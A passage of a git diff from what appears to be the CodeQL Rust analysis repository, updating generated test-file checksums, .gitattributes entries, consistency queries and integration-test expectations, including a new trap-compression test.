fe9c4132e65b54eb071b779e508e9ed0081d860df20f8d4748332b45b7215fd5 448c10c3f8f785c380ce430996af4040419d8dccfa86f75253b6af83d2c8f1c9 test/extractor-tests/generated/TypeAlias/TypeAlias_getGenericParamList.ql e7e936458dce5a8c6675485a49e2769b6dbff29c112ed744c880e0fc7ae740ef e5fcf3a33d2416db6b0a73401a3cbc0cece22d0e06794e01a1645f2b3bca9306 @@ -1176,8 +1203,9 @@ test/extractor-tests/generated/TypeParam/TypeParam_getName.ql 9d5b6d6a9f2a5793e2 test/extractor-tests/generated/TypeParam/TypeParam_getTypeBoundList.ql 080a6b370ad460bf128fdfd632aa443af2ad91c3483e192ad756eb234dbfa4d8 8b048d282963f670db357f1eef9b8339f83d03adf57489a22b441d5c782aff62 test/extractor-tests/generated/UnderscoreExpr/UnderscoreExpr.ql 4ad6ed0c803fb4f58094a55b866940b947b16259756c674200172551ee6546e0 d3270bdcc4c026325159bd2a59848eb51d96298b2bf21402ea0a83ac1ea6d291 test/extractor-tests/generated/UnderscoreExpr/UnderscoreExpr_getAttr.ql d8502be88bcd97465f387c410b5078a4709e32b2baa556a4918ea5e609c40dd7 b238dc37404254e3e7806d50a7b1453e17e71da122931331b16a55853d3a843f -test/extractor-tests/generated/Union/Union.ql 2cbbdf085667e0741322cd21288d7987d6bdba72fb1b930aaf589494f5f9ea5e 2e64f70926141ea56aa14cc3122c522407f2f45ab9dc364ef4a3e3caf171befa +test/extractor-tests/generated/Union/Union.ql 2795c83d4511fadf24cc66a762adbabca084bc6ac48501715f666979d2ea9ea5 7efae5209ae3ee8c73cd1c9e9e05f01b3fdda65d9a553c2ac5216351b6f15e5c test/extractor-tests/generated/Union/Union_getAttr.ql 42fa0878a6566208863b1d884baf7b68b46089827fdb1dbbfacbfccf5966a9a2 54aa94f0281ca80d1a4bdb0e2240f4384af2ab8d50f251875d1877d0964579fc +test/extractor-tests/generated/Union/Union_getAttributeMacroExpansion.ql ddd0133a497dc057a353b86acc8ed991fefeaefa335d8ad9fe95109a90e39e54 fcaed4287815226843157c007674b1f1405cae31856fed1113d569bab5608d9b test/extractor-tests/generated/Union/Union_getCrateOrigin.ql c218308cf17b1490550229a725542d248617661b1a5fa14e9b0e18d29c5ecc00 e0489242c8ff7aa4dbfdebcd46a5e0d9bea0aa618eb0617e76b9b6f863a2907a test/extractor-tests/generated/Union/Union_getExtendedCanonicalPath.ql 6268ddb68c3e05906e3fc85e40635925b84e5c7290746ded9c6814d362033068 04473b3b9891012e95733463018db8da0e96659ea0b10458b33dc857c091d278 test/extractor-tests/generated/Union/Union_getGenericParamList.ql c55156ae26b766e385be7d21e67f8c3c45c29274201c93d660077fcc47e1ceee 4c4d338e17c32876ef6e51fd19cff67d125dd89c10e939dfaadbac824bef6a68 @@ -1185,13 +1213,15 @@ test/extractor-tests/generated/Union/Union_getName.ql 17247183e1a8c8bbb15e67120f test/extractor-tests/generated/Union/Union_getStructFieldList.ql ae42dec53a42bcb712ec5e94a3137a5c0b7743ea3b635e44e7af8a0d59e59182 61b34bb8d6e05d9eb34ce353eef7cc07c684179bf2e3fdf9f5541e04bef41425 test/extractor-tests/generated/Union/Union_getVisibility.ql 86628736a677343d816e541ba76db02bdae3390f8367c09be3c1ff46d1ae8274 6514cdf4bfad8d9c968de290cc981be1063c0919051822cc6fdb03e8a891f123 test/extractor-tests/generated/Union/Union_getWhereClause.ql 508e68ffa87f4eca2e2f9c894d215ea76070d628a294809dc267082b9e36a359 29da765d11794441a32a5745d4cf594495a9733e28189d898f64da864817894f -test/extractor-tests/generated/Use/Use.ql b20f6221e6ee731718eb9a02fa765f298ad285f23393a3df0119707c48edd8b3 9ab45d9b3c51c6181a6609b72ebd763c336fee01b11757e7f044257510bd7f3f +test/extractor-tests/generated/Use/Use.ql 1adafd3adcfbf907250ce3592599d96c64572e381937fa11d11ce6d4f35cfd7f 2671e34197df8002142b5facb5380604e807e87aa41e7f8e32dc6d1eefb695f1 test/extractor-tests/generated/Use/Use_getAttr.ql 6d43c25401398108553508aabb32ca476b3072060bb73eb07b1b60823a01f964 84e6f6953b4aa9a7472082f0a4f2df26ab1d157529ab2c661f0031603c94bb1d +test/extractor-tests/generated/Use/Use_getAttributeMacroExpansion.ql d02562044449f6de2c70241e0964a8dedb7d1f722c2a98ee9c96638841fa1bc5 a1db982e16b35f1a0ab4091999437a471018afd9f4f01504723aa989d49e4034 test/extractor-tests/generated/Use/Use_getCrateOrigin.ql 912ebc1089aa3390d4142a39ea73d5490eae525d1fb51654fdd05e9dd48a94b6 c59e36362016ae536421e6d517889cea0b2670818ea1f9e997796f51a9b381e2 test/extractor-tests/generated/Use/Use_getExtendedCanonicalPath.ql ccfde95c861cf4199e688b6efeeee9dab58a27cfecd520e39cc20f89143c03c9 6ff93df4134667d7cb74ae7efe102fe2db3ad4c67b4b5a0f8955f21997806f16 test/extractor-tests/generated/Use/Use_getUseTree.ql 1dfe6bb40b29fbf823d67fecfc36ba928b43f17c38227b8eedf19fa252edf3af aacdcc4cf418ef1eec267287d2af905fe73f5bcfb080ef5373d08da31c608720 test/extractor-tests/generated/Use/Use_getVisibility.ql 587f80acdd780042c48aeb347004be5e9fd9df063d263e6e4f2b660c48c53a8f 0c2c04f95838bca93dfe93fa208e1df7677797efc62b4e8052a4f9c5d20831dd -test/extractor-tests/generated/UseBoundGenericArgs/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 +test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.ql ed7f240c960c888127298fac6b595477bc1481bdd1ed9a79124c6e6d8badc059 f30f69400600d52f10b1c54af0d00c0e617f5348cb0f5e235c93ef8e45c723a4 +test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.ql 971d94960a8cfcadf209202bb8d95d32da9b048ad6df9c520af1bf8e23acd1dc f6d6836592652cc63292aeb75d2349f4bed640047b130b79470703b8d1cd563d test/extractor-tests/generated/UseTree/UseTree.ql e305edd22df9e018a58f932774447354b7fcf0ba871b52b35f0ee9cd4f6dacdf 766a84116aa8ff3d90343c6730bcb161ff1d447bdb049cd21d6b2bbf3cb9032c test/extractor-tests/generated/UseTree/UseTree_getPath.ql 80384a99674bdda85315a36681cb22ad2ad094005a5543b63d930fc7e030dd5b 2cd92b5de8b4214527f8a58d641430f6804d9bd40927e1da0c7efda2f86f6544 test/extractor-tests/generated/UseTree/UseTree_getRename.ql ec3917501f3c89ac4974fab3f812d00b159ae6f2402dd20e5b4b3f8e8426391d db9ed981ce5f822aee349e5841d3126af7878d90e64140756ab4519552defe72 diff --git a/rust/ql/.gitattributes b/rust/ql/.gitattributes index dec3580d68c9..3326912c0ca8 100644 --- a/rust/ql/.gitattributes +++ b/rust/ql/.gitattributes @@ -194,7 +194,6 @@ /lib/codeql/rust/elements/YieldExpr.qll linguist-generated /lib/codeql/rust/elements/internal/AbiConstructor.qll linguist-generated /lib/codeql/rust/elements/internal/AbiImpl.qll linguist-generated -/lib/codeql/rust/elements/internal/AddressableImpl.qll linguist-generated /lib/codeql/rust/elements/internal/ArgListConstructor.qll linguist-generated /lib/codeql/rust/elements/internal/ArgListImpl.qll linguist-generated /lib/codeql/rust/elements/internal/ArrayExprInternal.qll linguist-generated @@ -674,21 +673,33 @@ /test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr.ql linguist-generated /test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getConstArg.ql linguist-generated /test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getElementTypeRepr.ql linguist-generated -/test/extractor-tests/generated/AsmClobberAbi/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmConst/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmDirSpec/MISSING_SOURCE.txt linguist-generated +/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.ql linguist-generated +/test/extractor-tests/generated/AsmConst/AsmConst.ql linguist-generated +/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.ql linguist-generated +/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.ql linguist-generated /test/extractor-tests/generated/AsmExpr/AsmExpr.ql linguist-generated /test/extractor-tests/generated/AsmExpr/AsmExpr_getAsmPiece.ql linguist-generated /test/extractor-tests/generated/AsmExpr/AsmExpr_getAttr.ql linguist-generated /test/extractor-tests/generated/AsmExpr/AsmExpr_getTemplate.ql linguist-generated -/test/extractor-tests/generated/AsmLabel/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmOperandExpr/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmOperandNamed/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmOption/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmOptionsList/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmRegOperand/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmRegSpec/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmSym/MISSING_SOURCE.txt linguist-generated +/test/extractor-tests/generated/AsmLabel/AsmLabel.ql linguist-generated +/test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.ql linguist-generated +/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.ql linguist-generated +/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.ql linguist-generated +/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.ql linguist-generated +/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.ql linguist-generated +/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.ql linguist-generated +/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.ql linguist-generated +/test/extractor-tests/generated/AsmOption/AsmOption.ql linguist-generated +/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.ql linguist-generated +/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.ql linguist-generated +/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.ql linguist-generated +/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.ql linguist-generated +/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.ql linguist-generated +/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.ql linguist-generated +/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.ql linguist-generated +/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.ql linguist-generated +/test/extractor-tests/generated/AsmSym/AsmSym.ql linguist-generated +/test/extractor-tests/generated/AsmSym/AsmSym_getPath.ql linguist-generated /test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.ql linguist-generated /test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getConstArg.ql linguist-generated /test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getGenericArgList.ql linguist-generated @@ -740,6 +751,7 @@ /test/extractor-tests/generated/Comment/Comment.ql linguist-generated /test/extractor-tests/generated/Const/Const.ql linguist-generated /test/extractor-tests/generated/Const/Const_getAttr.ql linguist-generated +/test/extractor-tests/generated/Const/Const_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/Const/Const_getBody.ql linguist-generated /test/extractor-tests/generated/Const/Const_getCrateOrigin.ql linguist-generated /test/extractor-tests/generated/Const/Const_getExtendedCanonicalPath.ql linguist-generated @@ -763,6 +775,7 @@ /test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr_getTypeBoundList.ql linguist-generated /test/extractor-tests/generated/Enum/Enum.ql linguist-generated /test/extractor-tests/generated/Enum/Enum_getAttr.ql linguist-generated +/test/extractor-tests/generated/Enum/Enum_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/Enum/Enum_getCrateOrigin.ql linguist-generated /test/extractor-tests/generated/Enum/Enum_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Enum/Enum_getGenericParamList.ql linguist-generated @@ -775,11 +788,13 @@ /test/extractor-tests/generated/ExternBlock/ExternBlock.ql linguist-generated /test/extractor-tests/generated/ExternBlock/ExternBlock_getAbi.ql linguist-generated /test/extractor-tests/generated/ExternBlock/ExternBlock_getAttr.ql linguist-generated +/test/extractor-tests/generated/ExternBlock/ExternBlock_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/ExternBlock/ExternBlock_getCrateOrigin.ql linguist-generated /test/extractor-tests/generated/ExternBlock/ExternBlock_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/ExternBlock/ExternBlock_getExternItemList.ql linguist-generated /test/extractor-tests/generated/ExternCrate/ExternCrate.ql linguist-generated /test/extractor-tests/generated/ExternCrate/ExternCrate_getAttr.ql linguist-generated +/test/extractor-tests/generated/ExternCrate/ExternCrate_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/ExternCrate/ExternCrate_getCrateOrigin.ql linguist-generated /test/extractor-tests/generated/ExternCrate/ExternCrate_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.ql linguist-generated @@ -823,6 +838,7 @@ /test/extractor-tests/generated/Function/Function.ql linguist-generated /test/extractor-tests/generated/Function/Function_getAbi.ql linguist-generated /test/extractor-tests/generated/Function/Function_getAttr.ql linguist-generated +/test/extractor-tests/generated/Function/Function_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/Function/Function_getBody.ql linguist-generated /test/extractor-tests/generated/Function/Function_getCrateOrigin.ql linguist-generated /test/extractor-tests/generated/Function/Function_getExtendedCanonicalPath.ql linguist-generated @@ -848,6 +864,7 @@ /test/extractor-tests/generated/Impl/Impl.ql linguist-generated /test/extractor-tests/generated/Impl/Impl_getAssocItemList.ql linguist-generated /test/extractor-tests/generated/Impl/Impl_getAttr.ql linguist-generated +/test/extractor-tests/generated/Impl/Impl_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/Impl/Impl_getCrateOrigin.ql linguist-generated /test/extractor-tests/generated/Impl/Impl_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Impl/Impl_getGenericParamList.ql linguist-generated @@ -901,14 +918,16 @@ /test/extractor-tests/generated/MacroBlockExpr/MacroBlockExpr_getTailExpr.ql linguist-generated /test/extractor-tests/generated/MacroCall/MacroCall.ql linguist-generated /test/extractor-tests/generated/MacroCall/MacroCall_getAttr.ql linguist-generated +/test/extractor-tests/generated/MacroCall/MacroCall_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/MacroCall/MacroCall_getCrateOrigin.ql linguist-generated -/test/extractor-tests/generated/MacroCall/MacroCall_getExpanded.ql linguist-generated /test/extractor-tests/generated/MacroCall/MacroCall_getExtendedCanonicalPath.ql linguist-generated +/test/extractor-tests/generated/MacroCall/MacroCall_getMacroCallExpansion.ql linguist-generated /test/extractor-tests/generated/MacroCall/MacroCall_getPath.ql linguist-generated /test/extractor-tests/generated/MacroCall/MacroCall_getTokenTree.ql linguist-generated /test/extractor-tests/generated/MacroDef/MacroDef.ql linguist-generated /test/extractor-tests/generated/MacroDef/MacroDef_getArgs.ql linguist-generated /test/extractor-tests/generated/MacroDef/MacroDef_getAttr.ql linguist-generated +/test/extractor-tests/generated/MacroDef/MacroDef_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/MacroDef/MacroDef_getBody.ql linguist-generated /test/extractor-tests/generated/MacroDef/MacroDef_getCrateOrigin.ql linguist-generated /test/extractor-tests/generated/MacroDef/MacroDef_getExtendedCanonicalPath.ql linguist-generated @@ -922,6 +941,7 @@ /test/extractor-tests/generated/MacroPat/MacroPat_getMacroCall.ql linguist-generated /test/extractor-tests/generated/MacroRules/MacroRules.ql linguist-generated /test/extractor-tests/generated/MacroRules/MacroRules_getAttr.ql linguist-generated +/test/extractor-tests/generated/MacroRules/MacroRules_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/MacroRules/MacroRules_getCrateOrigin.ql linguist-generated /test/extractor-tests/generated/MacroRules/MacroRules_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/MacroRules/MacroRules_getName.ql linguist-generated @@ -957,6 +977,7 @@ /test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getResolvedPath.ql linguist-generated /test/extractor-tests/generated/Module/Module.ql linguist-generated /test/extractor-tests/generated/Module/Module_getAttr.ql linguist-generated +/test/extractor-tests/generated/Module/Module_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/Module/Module_getCrateOrigin.ql linguist-generated /test/extractor-tests/generated/Module/Module_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Module/Module_getItemList.ql linguist-generated @@ -987,7 +1008,8 @@ /test/extractor-tests/generated/ParenPat/ParenPat_getPat.ql linguist-generated /test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr.ql linguist-generated /test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr_getTypeRepr.ql linguist-generated -/test/extractor-tests/generated/ParenthesizedArgList/MISSING_SOURCE.txt linguist-generated +/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.ql linguist-generated +/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.ql linguist-generated /test/extractor-tests/generated/Path/Path.ql linguist-generated /test/extractor-tests/generated/Path/PathExpr.ql linguist-generated /test/extractor-tests/generated/Path/PathExpr_getAttr.ql linguist-generated @@ -1057,6 +1079,7 @@ /test/extractor-tests/generated/SourceFile/SourceFile_getItem.ql linguist-generated /test/extractor-tests/generated/Static/Static.ql linguist-generated /test/extractor-tests/generated/Static/Static_getAttr.ql linguist-generated +/test/extractor-tests/generated/Static/Static_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/Static/Static_getBody.ql linguist-generated /test/extractor-tests/generated/Static/Static_getCrateOrigin.ql linguist-generated /test/extractor-tests/generated/Static/Static_getExtendedCanonicalPath.ql linguist-generated @@ -1069,6 +1092,7 @@ /test/extractor-tests/generated/StmtList/StmtList_getTailExpr.ql linguist-generated /test/extractor-tests/generated/Struct/Struct.ql linguist-generated /test/extractor-tests/generated/Struct/Struct_getAttr.ql linguist-generated +/test/extractor-tests/generated/Struct/Struct_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/Struct/Struct_getCrateOrigin.ql linguist-generated /test/extractor-tests/generated/Struct/Struct_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Struct/Struct_getFieldList.ql linguist-generated @@ -1116,6 +1140,7 @@ /test/extractor-tests/generated/Trait/Trait.ql linguist-generated /test/extractor-tests/generated/Trait/Trait_getAssocItemList.ql linguist-generated /test/extractor-tests/generated/Trait/Trait_getAttr.ql linguist-generated +/test/extractor-tests/generated/Trait/Trait_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/Trait/Trait_getCrateOrigin.ql linguist-generated /test/extractor-tests/generated/Trait/Trait_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Trait/Trait_getGenericParamList.ql linguist-generated @@ -1125,6 +1150,7 @@ /test/extractor-tests/generated/Trait/Trait_getWhereClause.ql linguist-generated /test/extractor-tests/generated/TraitAlias/TraitAlias.ql linguist-generated /test/extractor-tests/generated/TraitAlias/TraitAlias_getAttr.ql linguist-generated +/test/extractor-tests/generated/TraitAlias/TraitAlias_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/TraitAlias/TraitAlias_getCrateOrigin.ql linguist-generated /test/extractor-tests/generated/TraitAlias/TraitAlias_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/TraitAlias/TraitAlias_getGenericParamList.ql linguist-generated @@ -1155,6 +1181,7 @@ /test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr_getField.ql linguist-generated /test/extractor-tests/generated/TypeAlias/TypeAlias.ql linguist-generated /test/extractor-tests/generated/TypeAlias/TypeAlias_getAttr.ql linguist-generated +/test/extractor-tests/generated/TypeAlias/TypeAlias_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/TypeAlias/TypeAlias_getCrateOrigin.ql linguist-generated /test/extractor-tests/generated/TypeAlias/TypeAlias_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/TypeAlias/TypeAlias_getGenericParamList.ql linguist-generated @@ -1180,6 +1207,7 @@ /test/extractor-tests/generated/UnderscoreExpr/UnderscoreExpr_getAttr.ql linguist-generated /test/extractor-tests/generated/Union/Union.ql linguist-generated /test/extractor-tests/generated/Union/Union_getAttr.ql linguist-generated +/test/extractor-tests/generated/Union/Union_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/Union/Union_getCrateOrigin.ql linguist-generated /test/extractor-tests/generated/Union/Union_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Union/Union_getGenericParamList.ql linguist-generated @@ -1189,11 +1217,13 @@ /test/extractor-tests/generated/Union/Union_getWhereClause.ql linguist-generated /test/extractor-tests/generated/Use/Use.ql linguist-generated /test/extractor-tests/generated/Use/Use_getAttr.ql linguist-generated +/test/extractor-tests/generated/Use/Use_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/Use/Use_getCrateOrigin.ql linguist-generated /test/extractor-tests/generated/Use/Use_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Use/Use_getUseTree.ql linguist-generated /test/extractor-tests/generated/Use/Use_getVisibility.ql linguist-generated -/test/extractor-tests/generated/UseBoundGenericArgs/MISSING_SOURCE.txt linguist-generated +/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.ql linguist-generated +/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.ql linguist-generated /test/extractor-tests/generated/UseTree/UseTree.ql linguist-generated /test/extractor-tests/generated/UseTree/UseTree_getPath.ql linguist-generated /test/extractor-tests/generated/UseTree/UseTree_getRename.ql linguist-generated diff --git a/rust/ql/consistency-queries/ExtractionConsistency.ql b/rust/ql/consistency-queries/ExtractionConsistency.ql index 8b1f0adca949..c6e9bcdc2cb7 100644 --- a/rust/ql/consistency-queries/ExtractionConsistency.ql +++ b/rust/ql/consistency-queries/ExtractionConsistency.ql @@ -7,6 +7,10 @@ import codeql.rust.Diagnostics -query predicate extractionError(ExtractionError ee) { any() } +query predicate extractionError(ExtractionError ee) { + not exists(ee.getLocation()) or ee.getLocation().fromSource() +} -query predicate extractionWarning(ExtractionWarning ew) { any() } +query predicate extractionWarning(ExtractionWarning ew) { + not exists(ew.getLocation()) or ew.getLocation().fromSource() +} diff --git a/rust/ql/consistency-queries/PathResolutionConsistency.ql b/rust/ql/consistency-queries/PathResolutionConsistency.ql index 368b2c1e559a..db93f4b2860a 100644 --- a/rust/ql/consistency-queries/PathResolutionConsistency.ql +++ b/rust/ql/consistency-queries/PathResolutionConsistency.ql @@ -5,4 +5,29 @@ * @id rust/diagnostics/path-resolution-consistency */ -import codeql.rust.internal.PathResolutionConsistency +private import rust +private import codeql.rust.internal.PathResolution +private import codeql.rust.internal.PathResolutionConsistency as PathResolutionConsistency +private import codeql.rust.elements.Locatable +private import codeql.Locations +import PathResolutionConsistency + +class SourceLocatable extends Locatable { + Location getLocation() { + if super.getLocation().fromSource() + then result = super.getLocation() + else result instanceof EmptyLocation + } +} + +query predicate multipleMethodCallTargets(SourceLocatable a, SourceLocatable b) { + PathResolutionConsistency::multipleMethodCallTargets(a, b) +} + +query predicate multiplePathResolutions(SourceLocatable a, SourceLocatable b) { + PathResolutionConsistency::multiplePathResolutions(a, b) +} + +query predicate multipleCanonicalPaths(SourceLocatable i, SourceLocatable c, string path) { + PathResolutionConsistency::multipleCanonicalPaths(i, c, path) +} diff --git a/rust/ql/integration-tests/.gitignore b/rust/ql/integration-tests/.gitignore new file mode 100644 index 000000000000..2c96eb1b6517 --- /dev/null +++ b/rust/ql/integration-tests/.gitignore @@ -0,0 +1,2 @@ +target/ +Cargo.lock diff --git a/rust/ql/integration-tests/hello-project/diagnostics.expected b/rust/ql/integration-tests/hello-project/diagnostics.expected index f45877f26d06..65c797abe29d 100644 --- a/rust/ql/integration-tests/hello-project/diagnostics.expected +++ b/rust/ql/integration-tests/hello-project/diagnostics.expected @@ -9,6 +9,10 @@ "ms": "__REDACTED__", "pretty": "__REDACTED__" }, + "extractLibrary": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + }, "findManifests": { "ms": "__REDACTED__", "pretty": "__REDACTED__" @@ -25,12 +29,16 @@ "ms": "__REDACTED__", "pretty": "__REDACTED__" }, + "parseLibrary": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + }, "total": { "ms": "__REDACTED__", "pretty": "__REDACTED__" } }, - "numberOfFiles": 6, + "numberOfFiles": 5, "numberOfManifests": 1 }, "severity": "note", diff --git a/rust/ql/integration-tests/hello-project/steps.cargo.expected b/rust/ql/integration-tests/hello-project/steps.cargo.expected index ca256c4f8569..4deec0653daf 100644 --- a/rust/ql/integration-tests/hello-project/steps.cargo.expected +++ b/rust/ql/integration-tests/hello-project/steps.cargo.expected @@ -1,6 +1,4 @@ | Cargo.toml:0:0:0:0 | LoadManifest(Cargo.toml) | -| file:///types.rs:0:0:0:0 | Extract(/types.rs) | -| file:///types.rs:0:0:0:0 | Parse(/types.rs) | | file://:0:0:0:0 | CrateGraph | | file://:0:0:0:0 | FindManifests | | src/directory_module/mod.rs:0:0:0:0 | Extract(src/directory_module/mod.rs) | diff --git a/rust/ql/integration-tests/hello-project/steps.ql b/rust/ql/integration-tests/hello-project/steps.ql index fe45fc4b6dc8..a87e434b14a7 100644 --- a/rust/ql/integration-tests/hello-project/steps.ql +++ b/rust/ql/integration-tests/hello-project/steps.ql @@ -1,27 +1,5 @@ import codeql.rust.elements.internal.ExtractorStep -private class Step instanceof ExtractorStep { - string toString() { - result = super.getAction() + "(" + this.getFilePath() + ")" - or - not super.hasFile() and result = super.getAction() - } - - private string getFilePath() { - exists(File file | file = super.getFile() | - exists(file.getRelativePath()) and result = file.getAbsolutePath() - or - not exists(file.getRelativePath()) and result = "/" + file.getBaseName() - ) - } - - predicate hasLocationInfo( - string filepath, int startline, int startcolumn, int endline, int endcolumn - ) { - super.hasLocationInfo(_, startline, startcolumn, endline, endcolumn) and - filepath = this.getFilePath() - } -} - -from Step step +from ExtractorStep step +where not step.getAction() = ["ParseLibrary", "ExtractLibrary"] select step diff --git a/rust/ql/integration-tests/hello-project/steps.rust-project.expected b/rust/ql/integration-tests/hello-project/steps.rust-project.expected index 165a770e1cba..fa790e6cd7fd 100644 --- a/rust/ql/integration-tests/hello-project/steps.rust-project.expected +++ b/rust/ql/integration-tests/hello-project/steps.rust-project.expected @@ -1,5 +1,3 @@ -| file:///types.rs:0:0:0:0 | Extract(/types.rs) | -| file:///types.rs:0:0:0:0 | Parse(/types.rs) | | file://:0:0:0:0 | CrateGraph | | file://:0:0:0:0 | FindManifests | | rust-project.json:0:0:0:0 | LoadManifest(rust-project.json) | diff --git a/rust/ql/integration-tests/hello-project/summary.expected b/rust/ql/integration-tests/hello-project/summary.expected index 15ee83de7adc..1f343b197c0f 100644 --- a/rust/ql/integration-tests/hello-project/summary.expected +++ b/rust/ql/integration-tests/hello-project/summary.expected @@ -9,7 +9,7 @@ | Inconsistencies - Path resolution | 0 | | Inconsistencies - SSA | 0 | | Inconsistencies - data flow | 0 | -| Lines of code extracted | 23 | +| Lines of code extracted | 6 | | Lines of user code extracted | 6 | | Macro calls - resolved | 2 | | Macro calls - total | 2 | diff --git a/rust/ql/integration-tests/hello-project/test_project.py b/rust/ql/integration-tests/hello-project/test_project.py index 5509bc3a93d8..7f53e78f7d49 100644 --- a/rust/ql/integration-tests/hello-project/test_project.py +++ b/rust/ql/integration-tests/hello-project/test_project.py @@ -10,7 +10,34 @@ def test_rust_project(codeql, rust, rust_project, check_source_archive, rust_che codeql.database.create() @pytest.mark.ql_test(None) -def test_do_not_print_env(codeql, rust, cargo, check_env_not_dumped, rust_check_diagnostics): +# parametrizing `rust_edition` allows us to skip the default parametrization over all editions +@pytest.mark.parametrize("rust_edition", [2024]) +def test_do_not_print_env(codeql, rust, rust_edition, cargo, check_env_not_dumped, rust_check_diagnostics): codeql.database.create(_env={ "CODEQL_EXTRACTOR_RUST_VERBOSE": "2", }) + +@pytest.mark.ql_test("steps.ql", expected=".cargo.expected") +@pytest.mark.parametrize(("rust_edition", "compression", "suffix"), [ + pytest.param(2024, "none", [], id="none"), + pytest.param(2024, "gzip", [".gz"], id="gzip"), + pytest.param(2024, "zstd", [".zst"], id="zstd"), +]) +def test_compression(codeql, rust, rust_edition, compression, suffix, cargo, rust_check_diagnostics, cwd): + codeql.database.create( + _env={ + "CODEQL_EXTRACTOR_RUST_OPTION_TRAP_COMPRESSION": compression, + } + ) + trap_files = [*(cwd / "test-db" / "trap").rglob("*.trap*")] + assert trap_files, "No trap files found" + expected_suffixes = [".trap"] + suffix + + def is_of_expected_format(file): + return file.name == "metadata.trap.gz" or \ + file.suffixes[-len(expected_suffixes):] == expected_suffixes + + files_with_wrong_format = [ + f for f in trap_files if not is_of_expected_format(f) + ] + assert not files_with_wrong_format, f"Found trap files with wrong format" diff --git a/rust/ql/integration-tests/hello-workspace/diagnostics.cargo.expected b/rust/ql/integration-tests/hello-workspace/diagnostics.cargo.expected index 146d8514488e..511bd49f1a51 100644 --- a/rust/ql/integration-tests/hello-workspace/diagnostics.cargo.expected +++ 